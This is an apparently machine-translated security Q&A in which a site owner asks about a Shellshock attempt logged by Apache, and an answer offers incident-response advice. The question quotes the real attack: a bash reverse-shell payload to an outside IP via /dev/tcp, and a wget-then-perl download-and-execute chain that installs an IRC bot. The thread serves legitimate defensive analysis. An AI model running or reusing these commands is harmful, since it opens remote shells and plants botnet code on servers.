这个尝试的 Shellshock 漏洞有什么用,我的网站是否已被入侵?

信息安全 linux 开发 炮击
2021-08-31 13:53:18

我今天在我的 Apache 的 access.log 中查找了现在臭名昭著的() {字符串,除了一堆看起来像是 ping 来检查有多少服务器易受攻击的东西之外,我还发现了这个尝试,这看起来像是一次真正的攻击:

94.23.193.131 - - [26/Sep/2014:05:48:53 +0200] "GET / HTTP/1.0" 200 29271 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

我接下来要做的是看看那个 TCP 连接做了什么;我发现了它的结果:

user@localhost:~# cat < /dev/tcp/195.225.34.101/3333
cat < /dev/tcp/195.225.34.101/3333
wget -O /tmp/.lCE-unix http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 443;rm -rf /tmp/.lCE-unix;uptime

如果我没看错,它会获取一个托管在http://202.137.176.146/icons/xt.dat( Pastebin上的脚本副本)的 Perl 脚本,将其输出到 /tmp/.lCE-unix,执行它,然后再次将其自身删除。

查看脚本本身,我想我看到的是它尝试使用连接密码 45QOhktzhwR4Ai、用户“opus”连接到 IP 81.18.135.38、端口 443 的 IRC 服务器,然后尝试加入频道“# #n3'(如果我是对的)。

我承认我只是想在某个地方分享这个。但实际问题:

  1. 攻击由 Apache 处理,它可能将请求转发到托管在 / 的 3.x 版本的 Wordpress。我认为它从未被 Bash 执行过,但有人可以证实这一点吗?
  2. 如何检查攻击是否成功?我已经运行了 netstat 和 lsof 之类的命令,但除了我自己的 SSH 会话、网络服务器等之外,找不到任何异常的连接。没有到任何给定 IP 地址的连接,也没有运行 Perl 进程。
  3. 这是一个已知的漏洞吗?尽管在2005 年的 Redhat 邮件列表中有一个似乎引用该文件的线程,但我在搜索中找不到太多内容。
  4. 我应该向当局报告其中一些 IP 地址吗?如果是这样,哪个?我可以想象 FBI 和谁不想关闭被提及的 C&C 服务器。
1个回答
  1. 如果您使用 apache php 模块或 fastcgi 而不是 CGI,则该参数永远不会到达 bash。即使您使用 CGI,如果 Wordpress 在执行过程中以某种方式使用称为 bash 脚本,它也只会 bash(更了解 Wordpress 的人可以知道发生这种情况的可能性)。
  2. 您可以使用 lsof 和 netstat 监控可疑的网络连接,但如果攻击者丢弃了一个 rootkit,它可能会隐藏在这些工具之外。您可以通过使系统脱机、从不同的介质启动并进行一些完整性检查(debsums、rkhunter 等)来检查您的系统。要安装 rootkit,攻击者还需要一个本地 root 漏洞利用,因为这种攻击只会为网络服务器的用户获得一个 shell。
  3. 抱歉,我不知道,但是从 IRC 获取控制对于 AFAIK 机器人来说很常见,所以从一般意义上讲,使用 shellshock 进行攻击似乎很常见。
  4. 你可以,即使攻击者本身就是一个机器人,它也可能很有用(这很可能)。但是,如果它是 TOR 出口节点,则 IP 地址不包含任何有用的信息。